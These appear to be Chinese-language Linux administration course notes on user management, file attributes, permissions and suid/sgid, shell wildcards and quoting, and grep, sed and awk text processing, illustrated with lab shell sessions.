-e 指定过期时间
-d 指定家目录
-M 不创建家目录
-s 指定登录的解释器
1)修改test1的UID
[root@oldboy ~]# usermod -u 10001 test1
UID已改,组ID没改。
2)修改test2属于的新组root
[root@oldboy ~]# usermod -g root test2
3)#修改过期时间为2031/7/18
[root@oldboy ~]# chage -l test6 #查看密码的属性,间接看/etc/shadow内容
[root@oldboy ~]# usermod -e "2031/7/18" test6 #修改过期时间为2031/7/18
4)更改test3解释器为/bin/bash(-s)
[root@oldboy ~]# usermod -s /bin/bash test3
userdel用户删除
-r 删除家目录,有风险的。
[root@oldboy ~]# userdel -r test6
企业应用:人员离职,他的用户怎么管?
a.userdel -r 离职人员 #容易把离职人员数据删除。不明智
b.userdel 离职人员用户名 #家目录保留。
c.设置过期时间,/etc/passwd注释掉。
编辑/etc/passwd注释掉test5,生产场景推荐。
#test5x::5004:0::/home/test5:/bin/bash
[root@oldboy ~]# su - test5
su: user test5 does not exist
useradd命令3个配置文件
/etc/skel 用户环境变量原始文件存放地
每个用户家目录默认都会有.bash_logout .bash_profile .bashrc,
创建用户的同时,从/etc/skel里复制到/home/用户名下的,如果这几个文件丢失
就会出现提示符问题:-bash-4.1$
备份:
[root@oldboy ~]# cp /etc/default/useradd{,.ori}
[root@oldboy ~]# cp /etc/default/useradd /etc/default/useradd.ori
passwd给用户设置密码 直接passwd root用户给普通用户设置密码 passwd 用户名。 --stdin 从标准输入获取信息 [ root@oldboy ~]# echo 123456|passwd --stdin oldboy 更改用户oldboy 的密码。 查看用户信息命令 id who am i who w 查看用户日志 last lastlog /var/ log/secure 远程登录信息日志 更改文件属性: 更改用户所属用户和组:chown #change owner 更改用户组:chgrp #change group chown 用户 .用户组 文件 #.可以用;替代更改用户和组 chown 用户 文件#更改用户 chown .用户组 文件#更改用户组,等价:chagrp 用户组 文件 前提:用户和组必须要存在。 -R参数递归更改
文件加锁
给文件加特殊属性,实现特殊功能的命令。
chattr
a 只能追加内容,不能删除。
i 不能修改,不能删除。
chattr +i oldboy.txt #增加i属性。
chattr -i oldboy.txt #减少i属性。
lsattr 查看chattr设置的属性
练习:i属性
[root@oldboy ~]# chattr +i oldboy.txt
[root@oldboy ~]# lsattr oldboy.txt
----i----------- oldboy.txt
[root@oldboy ~]# rm -f oldboy.txt
rm: 无法删除"oldboy.txt": 不允许的操作
练习:a属性
[root@oldboy ~]# chattr +a oldboy.txt
[root@oldboy ~]# lsattr oldboy.txt
-----a---------- oldboy.txt
[root@oldboy ~]# rm -f oldboy.txt
rm: 无法删除"oldboy.txt": 不允许的操作
[root@oldboy ~]# echo 1 >oldboy.txt
-bash: oldboy.txt: 不允许的操作
[root@oldboy ~]# echo 1 >>oldboy.txt
[root@oldboy ~]# cat oldboy.txt
1
企业中用途:保护关键文件,防止被非法写入
[root@oldboy bin]# chattr -i /etc/passwd /etc/group /etc/shadow /etc/gshadow /etc/sudoers
[root@oldboy bin]# lsattr /etc/passwd /etc/group /etc/shadow /etc/gshadow /etc/sudoers
系统权限
1、基础权限介绍
基础权限 共9位
rw- r-- r--
1)3位一组,
2)前3位,用户位(owner),中三位为用户组位(group),后三位为其他用户位(others)
r read 可读的权限 用数字4来表示,三位中的首位。
w write 可写的权限 用数字2来表示,三位中的中间位
x execute 可执行的权限 用数字1来表示,三位中的最后位
-没有权限
2、画图讲解
3、文件和目录权限细节总结 1)针对【文件】 r 可以读取文件内容(block里)的权限。 w 可以增加、修改、删除文件内容(block里)的权限。 有没有删除文件本身的权限呢??? 【删除文件的权限和文件本身属性无关】 x 可以执行文件 条件: a.本身可执行 b.配合r。 c.root不受r的控制。
-没有权限
4)针对目录对应读、写、执行权限的详细说明 Linux系统中目录的权限和文件有一些细微区别,下面是目录对应的权限重要知识。 1)可读r:表示具有浏览目录下面文件及子目录名的权限,例如,可执行ls dir命令查看目录下的内容。但是如果没有可执行x的配合,则不能切换到指定目录里,即无法执行cd dir命令。 2)可写w:表示具有增加、删除或修改目录内文件的权限。但是,如果没有可执行x的配合,即使有w权限,也无法删除或创建文件。 3)可执行x:表示具有进入目录的权限。例如可以执行cd dir命令切到目录下,但是无法列表目录下的文件及子目录。
权限设置 1)数字权限 r 4 w 2 x 1 -. 0 字符权限rwx r-x r-x 数字权限 755 字符权限rwx rw- --x 数字权限 761
2)字符权限 字符权限 rwxr-xr-x. 数字权限 755
设置命令:chmod change mode -R 递归设置 数字权限设置:***** chmod 数字权限 文件 例子: chmod 755 文件 chmod -R 755 /oldboy
umask 权限掩码。控制系统的文件和目录的默认权限。
针对文件来说:默认权限计算方法
6 6 6
0 2 2 -
-----------
6 4 4 ###系统的文件默认权限
umask掩码的3位每一位数字是否有【奇数】,如果有奇数(奇数位加1)
测试:
[root@oldboy oldboy]# umask 021
[root@oldboy oldboy]# umask
0021
[root@oldboy oldboy]# touch f021
[root@oldboy oldboy]# ls -l f021
-rw-r--rw-. 1 root root 0 5月 21 10:40 f021
计算:
6 6 6
0 2 1 -
-----------
6 4 5 ###系统的文件默认权限
0 0 1
---------------
6 4 6
结论:文件默认权限结论
1.权限从666开始计算。
2.如果偶数,正常做减法。
3.如果是奇数,奇数位加一。
针对目录默认权限。
1.权限从777开始计算。
2.和掩码正常做减法。
UID大于199,并且用户和组同名,umask为002
cat /etc/bashrc
if [ $UID -gt 199 ] && [ "`/usr/bin/id -gn`" = "`/usr/bin/id -un`" ];
then
umask 002
else
umask 022
fi
/home/oldboy 默认700, #控制/etc/login.defs
想一想???为什么系统把默认权限定为:
默认644,目录755呢? #安全临界值
解决upload上传目录安全:
1)不让上传:程序:控制这个目录上传的内容只能是.jpg,.zip。
2)不让执行:nginx:针对upload访问的时候,除了.jpg,.zip之外,不提供访问。
3)不让执行:动态服务器和静态服务器分离,访问的时候只有静态服务器(不安装PHP,java,python)
4)不让执行:磁盘上挂载的时候,设置禁止程序运行(二进制程序)。
linux特殊权限位:
[suid]
1)suid(setuid)位通过S字符标识。
2)存在于基本权限的用户权限位的x权限对应的位置。
3)如果用户权限位对应的x权限位上有x权限,则suid就用小写的s标识。
4)suid的s对应的数字权限为4。
5)完整权限用八进制数4000表示。
数字权限设置suid测试:
chmod 4644 suid.txt
[root@oldboy oldboy]# chmod 4644 suid.txt
[root@oldboy oldboy]# ls -l suid.txt
-rwSr--r--. 1 root root 0 5月 21 11:55 suid.txt
[root@oldboy oldboy]# chmod u+x suid.txt
[root@oldboy oldboy]# ls -l suid.txt
-rwsr--r--. 1 root root 0 5月 21 11:55 suid.txt
取消设置suid测试:
[root@oldboy oldboy]# chmod 644 suid.txt
[root@oldboy oldboy]# ls -l suid.txt
-rw-r--r--. 1 root root 0 5月 21 11:55 suid.txt
字符设置suid
chmod u+s suid.txt
ls -l suid.txt
chmod u-s suid.txt
ls -l suid.txt
oldboy用户使用passwd命令,修改/etc/shadow文件,来实现修改密码的。
[oldboy@oldboy ~]$ ls -l /etc/shadow
----------. 1 root root 2484 5月 21 12:10 /etc/shadow
传统权限分析,oldboy是其他用户,修改/etc/shadow权限---,没有权限修改。。
事实呢?改了
suid的特殊作用:可以绕过基础权限体系,可以修改没有权限修改的文件。
基于二进制命令的。
suid生产场景实际用途。
1.所有普通用户都能用到
2.普通用户想修改没有权限文件时候使用。
3.命令是没有破坏作用的。
比如:ping,passwd
【sgid权限知识】
对于二进制命令或者程序来说,sgid的功能和suid基本相同,唯一的区别是suid是获得命令所属用户的身份和权限,而sgid是获得命令的所属用户组的身份和权限,因此,有关sgid对于二进制命令或者程序方面的知识就不详细叙述了。
1.suid核心知识小结
1)与suid不同的是,sgid既可以针对文件,也可以针对目录设置!
2)sgid的权限是针对用户组权限位的。
对于文件来说,sgid的功能如下:
1)sgid仅对二进制命令及程序有效。
2)二进制命令或程序,也需要有可执行权限x配合。
3)执行命令的任意用户可以获得该命令程序执行期间所属组的身份和权限。
理解sgid:
locate====>读/var/lib/mlocate/mlocate.db <====updatedb
[root@oldboy bin]# ls -l /var/lib/mlocate/mlocate.db
-rw-r-----. 1 root slocate 1423565 5月 21 03:23 /var/lib/mlocate/mlocate.db
结论没有权限可以查询/var/lib/mlocate/mlocate.db
事实上是可以查的。 [oldboy@oldboy ~]$ locate cp
原因:就是locate命令被设置了sgid
[oldboy@oldboy ~]$ ls -l which locate
-rwx--s--x. 1 root slocate 40520 4月 11 2018 /bin/locate
测试:取消sgid [root@oldboy bin]# chmod g-s /bin/locate [root@oldboy bin]# ls /bin/locate -l -rwx--x--x. 1 root slocate 40520 4月 11 2018 /bin/locate 查看: [oldboy@oldboy ~]$ locate cp locate: 无法执行 stat () `/var/lib/mlocate/mlocate.db': 权限不够
参考解答:
[root@oldboy ~]# mkdir /home/admins #<==创建共享目录admins。
[root@oldboy ~]# groupadd adminuser #<==添加用户组adminuser。
[root@oldboy ~]# ls -ld /home/admins
[root@oldboy ~]# chgrp adminuser /home/admins/ #<==给adminis目录授权adminuser用户组。
drwxr-xr-x. 2 root adminuser 4096 Apr 30 16:54 /home/admins #<==查看授权结果。
[root@oldboy ~]# touch /home/admins/oldboy.txt #<==创建测试文件。
[root@oldboy ~]# chmod 2770 /home/admins #<==授权sgid权限给admins目录。
drwxrws---. 2 root adminuser 4096 Apr 30 20:10 /home/admins/ #<==查看授权结果。
[root@oldboy ~]# touch /home/admins/newfile.txt #<==在创建新文件。
[root@oldboy ~]# ls -l /home/admins/
total 0
-rw-r--r--. 1 root adminuser 0 Apr 30 20:04 newfile.txt
#<==新创建的文件用户组为adminuser了,而非默认的root了。
-rw-r--r--. 1 root root 0 Apr 30 19:59 oldboy.txt
整个配置过程,已满足题意需求。
通配符与特殊符号
通配符: 1.代表特殊含义的一些符号。 2.bash命令行操作的时候。 作用于文件名的通配符: 符号 作用
*匹配任意(0个或多个)字符或字符串,包括空字符串※
? 匹配任意1个字符,有且只有一个字符
字符集合(匹配一堆字符/文本)
[abcd] 匹配abcd中任何一个字符,abcd也可是其他任意不连续字符
[a-z] 匹配a到z之间的任意一个字符,字符前后要连续,也可以用连续数字[1-9]
[!abcd] 表示不匹配括号里面的任何一个字符,也可书写为[!a-d],这里的!号可以用^替代,即[^abcd]
*的作用:经常使用
ls *
[root@oldboy ~]# find /etc/ -type f -name "*hosts"
/etc/hosts
?的作用(了解)
[root@oldboy ~]# touch a.txt
[root@oldboy ~]# touch aaa.txt
[root@oldboy ~]# ls ?.txt
a.txt
[root@oldboy ~]# ls ???.txt
aaa.txt
[abcd]的实践(了解)
[root@oldboy ~]# ls [abcd].txt
a.txt
[root@oldboy ~]# touch b.txt
[root@oldboy ~]# ls [abcd].txt
a.txt b.txt
[root@oldboy ~]# touch bb.txt
[root@oldboy ~]# ls [abcd].txt
a.txt b.txt
- 与路径和位置有关的特殊符号
- 符号 作用
- 用户的家目录,超级用户为/root,普通用户为/home -代表上一次(相对于当前路径)用户所在的路径 . 代表当前目录(点号还有很多其它含义,暂且不表) .. 代表上一级目录 有一个环境变量名字叫OLDPWD,用来时刻记录上一次所在的路径。 所以 cd -的时候,实际就是 cd $OLDPWD
单引号
('')所见即所得,即输出单引号内容时会将单引号内的所有内容都原样输出,或者描述为单引号里面看到的是什么就会输出什么,被称之为强引用
[root@oldboy ~]# echo 'date'
date
双引号(常用)
("") 输出双引号内的所有内容时,如果内容中有命令(要反引下)、变量、特殊转义符等,会先把变量、命令、转义字符解析出结果,然后再输出最终内容,被称为弱引用。推荐使用
1)不知道用什么引号就用双引号。
[root@oldboy ~]# echo $(date)
2030年 05月 24日 星期五 23:26:09 CST
[root@oldboy ~]# echo '$(date)'
$(date)
[root@oldboy ~]# echo "$(date)"
2030年 05月 24日 星期五 23:26:28 CST
无引号 赋值时,如果变量内容有空格会使得赋值不完整。而在输出内容时,也会将含有空格的字符串视为一个整体输出;如果内容中有命令(要反引下)、变量等,会先把变量、命令解析出结果,然后输出最终内容;如果字符串中带有空格等特殊字符,则有可能无法完整地输出,因此需要改加双引号。一般连续的字符串、数字、路径等可以不加任何引号赋值和输出,不过无引号的情况最好用双引号替代之,特别是变量赋值时
内容很简单,且没有空格,这个时候 不加引号也可以。
和双引号类似,双引号引起来的内容是一个整体。
[root@oldboy ~]# echo $(date)
2030年 05月 24日 星期五 23:27:54 CST
双引号引起来的内容是一个整体。
反引号(相当于$())
(``) 一般用于引用命令,执行的时候命令会被执行,相当于$(),赋值和输出都要将命令用``引起来
里面是可执行的命令。
[root@oldboy ~]# date
2030年 05月 24日 星期五 23:31:02 CST
[root@oldboy ~]# echo $(date)
2030年 05月 24日 星期五 23:31:09 CST
[root@oldboy ~]# echo `date`
2030年 05月 24日 星期五 23:31:19 CST
[root@oldboy ~]# tar zcf /tmp/etc_$(date +%F).tar.gz /etc
tar: 从成员名中删除开头的“/”
其他特殊符号:
名称 解释 ; 表示一个命令的结束 也是命令间的分隔符
1)root用户的命令提示符
2)表示是注释内容,是用来给管理员看的,系统不会执行#号开头的内容
3)命令替换用的分隔符 比如VIM里的替换 :%s#129#921#g
| 表示管道,将一个命令处理后的中间内容输出给下一个命令继续处理
[root@oldboy ~]# cat /etc/services |grep 3306
1)管道传输的是数据流(文件内容),不是文件(文件名)。
2)不需要管道直接可以用命令处理。
[root@oldboy ~]# grep 3306 /etc/services
3)分组功能,同时过滤多个字符串
grep -E ==egrep
[root@oldboy ~]# egrep "3306|1521" /etc/services
$
1)代表普通用户的命令提示符
2)字符串前加$符号,代表字符串变量内容
\ 逃脱符或转义字符,即将有特殊含义的字符(通配符或正则表达式)还原成字符本意
? 只表示问号本身
1)生成序列
[root@oldboy ~]# echo {1..10}
1 2 3 4 5 6 7 8 9 10
[root@oldboy ~]# echo
seq 数字序列
1)默认:[root@oldboy ~]# seq 5
打奇偶数
seq 1 2 5
起始 步长 结束
[root@oldboy ~]# seq 1 2 5
1
3
5
[root@oldboy ~]# seq -w 5
01
02
03
04
05
[root@oldboy ~]# seq 10
[root@oldboy ~]# seq -w 10
[root@oldboy ~]# seq -w 10|sed -r 's#(.*)#\1#g'
[root@oldboy ~]# seq -w 10|sed -r 's#(.*)#useradd oldboy\1#g'
useradd oldboy01
总结seq:
seq 10 #竖向打印序列
seq -w 10 #补全位数打印序列。
seq 起始 步长 结束 #打印奇数和偶数序列
步长为正数就是从小到大,否则从大到小。起始数字>结束数字
seq -w -s" " 10 #-s指定分隔符,横向打印序列
bash里特殊符号
名称 解释 && 前一个命令执行成功,再执行后面一个命令 || 前一个命令执行失败,再执行后面一个命令 ! 1)在Bash中表示取反 2)在vi/vim中表示强制 3)!ls表示找出最近一次以ls开头的命令并运行 && 并且的意思 and 前面正确,后面才输出
echo 123 && echo 456 #前面命令能正确输出,则打印456,否则不打印。
生产场景使用:
cd /etc/sysconfig/network-scripts/ &&
tar zcf /tmp/ifcfg-eth0.tar.gz ./ifcfg-eth0
[root@oldboy ~]# echo $? #验证命令是否执行成功,0表示成功,非0表示失败。
0
|| or或者
前面错误,后面才输出 前面正确,后边不输出。
[root@oldboy ~]# cho 123 || echo 456
-bash: cho: 未找到命令
456
作用:
[root@oldboy ~]# echo adsfas||echo 1
adsfas
输出1,表示前面命令执行错误,否则,命令执行正确。
! 取反
[root@oldboy ~]# ! cho 123 || echo 456
-bash: cho: 未找到命令
echo
-e 若字符串中出现以下字符,则特别加以处理,而不会将它当成一般
文字输出:
\a 发出警告声;
\b 删除前一个字符;
\c 最后不加上换行符号;
\f 换行但光标仍旧停留在原来的位置;
\n 换行且光标移至行首;
\r 光标移至行首,但不换行;
\t 插入tab;
\v 与\f相同;
\ 插入\字符;
\nnn 插入nnn(八进制)所代表的ASCII字符;
–help 显示帮助
–version 显示版本信息
正则表达式
测试准备: cat >>/etc/profile<<EOF #<=注意EOF后面不要有多余的空格。 export LC_ALL=C EOF #<=注意EOF前后都没有空格或其他符号。 source /etc/profile #<=使修改的内容生效。(souce 可以加载变量进文件)
基础正则表达式字符说明及实践:
给要过滤的内容添加标识,然后把符合标识的内容过滤。
^ 尖角号,用法为^oldboy,表示匹配以oldboy单词开头的行
[root@oldboy test]# grep ^I oldboy.txt #输出以I开头的行
I am oldboy teacher!
[root@oldboy test]# ls -l ~|grep ^d #输出以d开头的行
drwxr-xr-x. 2 1000 root 33 Jul 1 2030 abc
$ 美元符,用法为oldboy$,表示匹配以oldboy单词结尾的行
[root@oldboy test]# grep m$ oldboy.txt #输出以m结尾的行
our site is http://www.oldboyedu.com
[root@oldboy test]# ls -lF ~|grep /$
drwxr-xr-x. 2 1000 root 33 Jul 1 2030 abc/
^$ 组合符,表示空行,逻辑解释就是以^结尾的行,或者以$开头的行
[root@oldboy test]# grep -n ^$ oldboy.txt #输出空行并打印行号
3:
7:
. 点号,表示匹配任意一个且只有一个字符(但是不能匹配空行)
[root@oldboy test]# grep . oldboy.txt (all)
[root@oldboy test]# grep -n . oldboy.txt (显示行号)
\ 转义字符,让有特殊含义的字符脱掉马甲,现出原形,如\.只表示小数点
[root@oldboy test]# grep "\." oldboy.txt #匹配带点的行
[root@oldboy test]# grep "\.$" oldboy.txt #匹配以点结尾的行
[root@oldboy test]# grep ".$" oldboy.txt #匹配以任意一个字符结尾的行
* 重复前一个字符(连续出现)0次或N次
[root@oldboy test]# grep "0*" oldboy.txt
[root@oldboy test]# grep "00*" oldboy.txt
my qq num is 49000448.
not 4900000448.
注意,当重复0次的时候,表示啥也没有(空),即匹配所有内容
.* 组合符,匹配所有内容
^.* 组合符,匹配以任意多个字符开头的内容
.*$ 组合符,以任意多个字符结尾的内容
测试题:
1.过滤/etc/passwd中以nologin结尾的行。
grep "nologin$" /etc/passwd
2.过滤/etc/passwd中以o开头的行。
grep "^o" /etc/passwd
3.过滤/etc/passwd中至少含有1个0字符串的行。
grep "00*" /etc/passwd
4.过滤/etc/passwd中的空行。
grep "^$" /etc/passwd
5.过滤/etc/目录中(不含子目录)下的所有文件。
ls -l /etc|grep "^-"
6.过滤/etc/services中含有点号的行。
grep "\." /etc/services
[abc] 匹配[]集合内的任意一个字符a或b或c;[abc]也可写成[a-c]
[root@oldboy test]# grep "[a-z0-9A-Z\.\!:,/]" oldboy.txt
-A after 显示过滤的字符串和它之后的多少行
-B before 显示过滤的字符串和它之前的多少行
-C context 显示过滤的字符串和它之前之后的多少行
[root@oldboy test]# grep -A 3 5 b.txt (5之后三行)
5
6
7
8
[root@oldboy test]# grep -B 3 5 b.txt (5之前三行)
2
3
4
5
[root@oldboy test]# grep -C 3 5 b.txt (5之上下三行)
2
3
4
5
6
7
8
扩展正则:
grep -E ====egrep
+ 匹配前一个字符1次或多次
和*区别,*可以匹配0次。
grep "0*" oldboy.txt #匹配0个0,或1个0或多个0
egrep "0+" oldboy.txt #1个0或多个0
[root@oldboy test]# grep "0*" oldboy.txt
[root@oldboy test]# egrep "0+" oldboy.txt
my qq num is 49000448.
not 4900000448.
[:/]+ 匹配括号内的:或/字符1次或多次
[root@oldboy test]# egrep -o "." a.txt
o
l
d
b
o
y
[root@oldboy test]# egrep "[:/]+" oldboy.txt
? 匹配前一个字符0次或1次
[root@oldboy test]# egrep "0?" oldboy.txt
| 表示或者,即同时过滤多个字符串
[root@oldboy test]# egrep "000|oldboy" oldboy.txt
()分组过滤被括起来的东西表示一个整体
另外()的内容可以被后面的\n引用,n为数字,表示引用第几个括号的内容
\n 引用前面()小括号里的内容,例如:(aa)\1,匹配aaaa
[root@oldboy test]#
[root@oldboy test]# egrep "(0)(0)\1\2" oldboy.txt
not 4900000448.
\1可以取出第1个括号的内容
\2可以取出第2个括号的内容。
(下面几个没啥用)
a*
a+
a{n,m} 匹配前一个字符最少n次,最多m次
a{n,} 匹配前一个字符最少n次
a{n} 匹配前一个字符正好n次
a{,m} 匹配前一个字符最多m次
扩展正则测试题:
测试题:
1.过滤/etc/passwd中含有root或oldboy的行。
grep -E "root|oldboy" /etc/passwd
2.过滤/etc/passwd中至少含有1个0字符串的行。
egrep "0+" /etc/passwd
3.过滤/etc/passwd中匹配o字符0次或1次的行。
egrep "o?" /etc/passwd
4.过滤/etc/passwd中匹配0字符1次到3次的行。
egrep "0{1,3}" /etc/passwd
5.过滤/etc/shadow中匹配含有连续多个冒号或斜线的行。
egrep "[:/]+" /etc/shadow
元字符 表达式 描述 \b 匹配单词边界,例如:\boldboy\b只匹配oldboy单词不匹配oldboy* \B 匹配非单词的边界例如:oldboy\B 匹配oldboy123中的oldboy,不匹配单独的oldboy单词 \w 匹配字母、数字与下划线,等价[[:alnum:]] \W 匹配字母、数字与下划线以外的字符,等价[^[:alnum:]] \d 匹配单个数字字符,注意,这个表达式需要使用grep -P参数才能识别* \D 匹配单个非数字字符,注意,这个表达式需要使用grep -P参数才能识别 \s 匹配1位空白字符,注意,这个表达式需要使用grep -P参数才能识别 \S 匹配1位非空白字符,注意,这个表达式需要使用grep -P参数才能识别
特殊预定义表达式
正则表达式 描述 示例
[:alnum:] 匹配任意一个字母或数字字符,相当于[a-zA-Z0-9] [[:alnum:]]
[:alpha:] 匹配任意一个大小写字母字符,相当于[a-zA-Z] [[:alpha:]]
[:blank:] 空格与制表符(横向和纵向) [[:blank:]]
[:digit:] 匹配任意一个数字字符,相当于[0-9] [[:digit:]]
[:lower:] 匹配小写字母,相当于[a-z] [[:lower:]]
[:upper:] 匹配大写字母,相当于[A-Z] [[:upper:]]
[:punct:] 匹配标点符号 [[:punct:]]
[:space:] 匹配一个包括换行符、回车等在内的所有空白符 [[:space:]]
[:graph:] 匹配任何一个可以看得见的且可以打印的字符 [[:graph:]]
[:xdigit:] 任何一个十六进制数(即:0-9,a-f,A-F) [[:xdigit:]]
[:cntrl:] 任何一个控制字符(ASCII字符集中的前32个字符) [[:cntrl:]]
[:print:] 任何一个可以打印的字符 [[:print:]]
Sed命令
语法及参数说明:Sed是Stream Editor(字符流编辑器)的缩写,简称流编辑器。 Sed是操作、过滤和转换文本内容的强大工具。常用功能有对文件实现快速增删改查(增加、删除、修改、查询),其中查询的功能中最常用的2大功能是过滤(过滤指定字符串)和取行(取出指定行)。 取行和替换***** 【语法格式】 sed [选项] [sed内置命令字符] [输入文件] options[选项] 解释说明(带※的为重点) -n 取消默认sed的输出,常与sed内置命令的p连用※ 输出想要的内容。 -i 直接修改文件内容,而不是输出到终端。 修改前备份,cp,-i.bak -e 允许多次编辑
sed -i -e 's/#UseDNS yes/UseDNS no/g' -e 's/GSSAPIAuthentication yes/GSSAPIAuthentication no/g' /etc/ssh/sshd_config
-r 支持扩展正则表达式
p 全拼print,表示打印匹配行的内容,通常p会与选项-n一起使用※
练习:取oldboy.txt 2-4行
sed -n '2,4p' oldboy.txt
取第4行
[root@oldboy test]# sed -n '4p' oldboy.txt
过滤出含有oldboy字符串的行※。
sed -n '//p' #框架化
方法1:
[root@oldboy test]# grep oldboy oldboy.txt
方法2:
[root@oldboy test]# sed -n '/oldboy/p' oldboy.txt
测试题

【语法格式】 sed[选项] [ sed内置命令字符] [输入文件] d delete删除的意思 问题3:删除含有oldboy字符串的行※。 sed -n '/oldboy/d' oldboy.txt
【替换】***** ***** s 替换 g 全局
sed ‘s///g’ 与sed ‘s///’ 其实是有很大区别 a append指定信息后附加新的信息
ps: /^ */ 匹配以空格开头的字符
` `/^\s/ 匹配任何空白字符,包括空格、制表符、换页符等等。等价于[ \f\n\r\t\v]
` `/^[[:space:]]*/ 匹配以空格或者是\t制表符开头的字符
问题4:将文件中的oldboy字符串全部替换为oldgirl※。 sed 's#A#B#g' 文件 #三个#理论上可以用任何字符sed 'sAAAg' sed -i.bak 's#A#B#g' 文件 #三个#理论上可以用任何字符sed 'sAAAg'2个文件差异,更直观 vimdiff oldboy.txt oldboy.txt.bak 问题:在oldboy.txt文件的第2行插入两行文本。 sed '2i I teacher linux.\nYou are my student.' test.txt 【sed显示行号,和内容在一行】 [root@oldboy test]# sed = '8i i am excellent' /test.txt|sed 'N;s/\n/ /' 在文件中添加内容(增)【了解】 a apend追加 问题:在oldboy.txt文件的第2行后追加文本。 [root@oldboy test]# sed -i '2a I teacher linux.' oldboy.txt #<==这里使用了sed内置命令a追加功能,在第二行后面增加一行,内容为“I teacher linux.”。 i insert 当前插入 问题7:在oldboy.txt文件的第2行插入文本。 解答:这是考察sed命令的i字符功能,示例如下。 [root@oldboy test]# sed -i '2i I teacher linux,at 2i.' oldboy.txt 在第二行插入,原来第二行移动到第三行
生产场景:配置ssh参数的案例
在文件中增加参数配置
=====================================================
远程连接ssh工具,需要一定配置
Port 52113 #默认22端口
PermitRootLogin no #禁止root远程登录
GSSAPIAuthentication no #解决连接慢。
UseDNS no #解决连接慢。
=================================================
配置方法;
sed -i.bak '13i #=======\n#Port 52113\nPermitRootLogin no\nGSSAPIAuthentication no\nUseDNS no\n#======' /etc/ssh/sshd_config
问题:取出Linux中执行ifconfig eth0后对应的IP地址(只能输出IP地址)。
方法1:利用正则加sed替换功能取IP。
[root@oldboy test]# ifconfig eth0|sed -n '2p'
inet 10.0.0.130 netmask 255.0.0.0 broadcast inet 10.255.255.255
ifconfig eth0|sed -rn '2s###gp'
目标:10.0.0.130
1.干掉IP前面的部分
10.0.0.130 netmask 255.0.0.0 broadcast 10.255.255.255
2.干掉IP后面的部分
10.0.0.130
技巧;
1)想要的目标是10.0.0.130
干掉IP前面的内容,匹配规则
^.*inet #以任意多个字符开头,给一个唯一结尾的内容
[root@oldboy test]# ifconfig eth0|sed -rn '2s#^.*inet ##gp'
10.0.0.130 netmask 255.0.0.0 broadcast 10.255.255.255
干掉IP后面的内容,匹配规则
net.*$#以唯一内容开头,任意多个字符结尾
[root@oldboy test]# ifconfig eth0|sed -rn '2s#^.*inet ##gp'|sed -rn 's# net.*$##gp'
10.0.0.130
练习题:
1.取ip a结果中的第一块网卡ip
[root@oldboy test]# ip a|grep eth0|sed -n 2p|sed -rn 's#^.*net ##gp'|sed -rn 's#/8.*$##gp'
10.0.0.130
2.取stat /etc/hosts中的数字权限644
[root@oldboy test]# stat /etc/hosts|sed -rn '4s#^.*\(0##gp'|sed -rn 's#/-.*$##gp'
644
[用一条sed命令来实现取IP]
后向引用:
想要的内容要用括号括起来匹配,因为好把他拿出来。() \1
[root@oldboy test]# ifconfig eth0|sed -rn 's#^.*inet (.*) net.*$#\1#gp'
10.0.0.130
[用一条sed命令来实现取IP]
练习题:
1.取ip a结果中的第一块网卡ip
[root@oldboy test]# ip a|sed -rn 's#^.*inet (.*)/8 b.*$#\1#gp'
10.0.0.130
2.取stat /etc/hosts中的数字权限644
[root@oldboy test]# stat /etc/hosts|sed -rn '4s#^.*\(0(.*)/-.*$#\1#gp'
644
[几乎不用]
[-e多项编辑可以实现减少管道的使用]
[root@oldboy test]# ifconfig eth0|sed -ne '2s#^.*inet ##g' -ne '2s# netm.*$##gp'
10.0.0.7
awk命令
awk:Linux三剑客老大 awk是一门编程语言,善于处理大量文本。 命令行执行 【语法格式】 awk [option] 'pattern' file ... awk [参数] '条件{动作}' 文件 ...
核心作用:
1)取列。附加作用:查、删
[参数]:
-F 指定字段分隔符※
[root@oldboy test]# awk -F ":" '{print $1,$NF,NF}' test.txt
root /bin/bash 7
bin /sbin/nologin 7
变量名 属性
$n 当前记录的第n个列
$0 当前整行记录
NF 当前记录中的列的个数,就是有多少列
$(NF-n) 倒数第n列,n为数字
NR 已经读出的记录数,就是行号,从1开始
$n 当前记录的第n个列,字段间由F参数指定分隔符
默认分隔符是空格:第2列是00
11 00 22
第1列 用$1表示 第2列 用$2表示
awk默认分隔符是空格:
练习:打印 不同的列
[root@oldboy test]# echo "11 00 22" >a.txt
[root@oldboy test]# awk '{print $2}' a.txt
00
[root@oldboy test]# awk '{print $1}' a.txt
11
[root@oldboy test]# awk '{print $3}' a.txt
22
打印多列;
[root@oldboy test]# awk '{print $1,$2}' a.txt
11 00
$0 当前整行记录
[root@oldboy test]# awk '{print $0}' a.txt
11 00 22
NF 当前记录中的列的个数,就是有多少列
$(NF-n) 倒数第n列,n为数字
NR 已经读出的记录数,就是行号,从1开始
[root@oldboy test]# awk '{print $NF}' a.txt #打印最后一列
[root@oldboy test]# awk '{print $(NF-1)}' a.txt #打印倒数第二列
问题1:取test.txt文件的第2行到第3行的内容。
方法1:
[root@oldboy ~]# sed -n '2,3p' test.txt
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
方法2:
[root@oldboy ~]# awk 'NR==2,NR==3' test.txt
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
打印2-3行,同时打印行号
[root@oldboy ~]# awk 'NR==2,NR==3{print NR,$0}' test.txt
方法3:
[root@oldboy ~]# awk 'NR>1&&NR<4' test.txt
方法4:
[root@oldboy ~]# head -3 test.txt |tail -2
方法5:
[root@oldboy ~]# grep -A 1 -n "^bin" test.txt
2:bin:x:1:1:bin:/bin:/sbin/nologin
3-daemon:x:2:2:daemon:/sbin:/sbin/nologin
[root@oldboy ~]# grep -B 1 -n "^dae" test.txt
2-bin:x:1:1:bin:/bin:/sbin/nologin
3:daemon:x:2:2:daemon:/sbin:/sbin/nologin
! 取反&& (并且)|| (或者)==(表示相等)= 赋值 a=1
===============
专业取行 sed
专业取列 awk
专业过滤 grep
===============
问题2:过滤出含有root字符串的行※。
[root@oldboy ~]# awk '/root/' test.txt
[root@oldboy ~]# grep root test.txt
[root@oldboy ~]# sed -n '/root/p' test.txt
问题3:删除含有root字符串的行※。
[root@oldboy ~]# sed '/root/d' test.txt
[root@oldboy ~]# awk '/^[^r]/' test.txt
问题4:取文件的第一列、第三列和最后一列内容,并打印行号※。
[root@oldboy ~]# awk -F ":" '{print NR,$1,$3,$NF}' test.txt
问题5:取出Linux中执行ifconfig eth0后对应的IP地址(只能输出IP地址)。
[root@oldboy ~]# ifconfig eth0|sed -rn 's#^.*inet (.*) netm.*$#\1#gp'
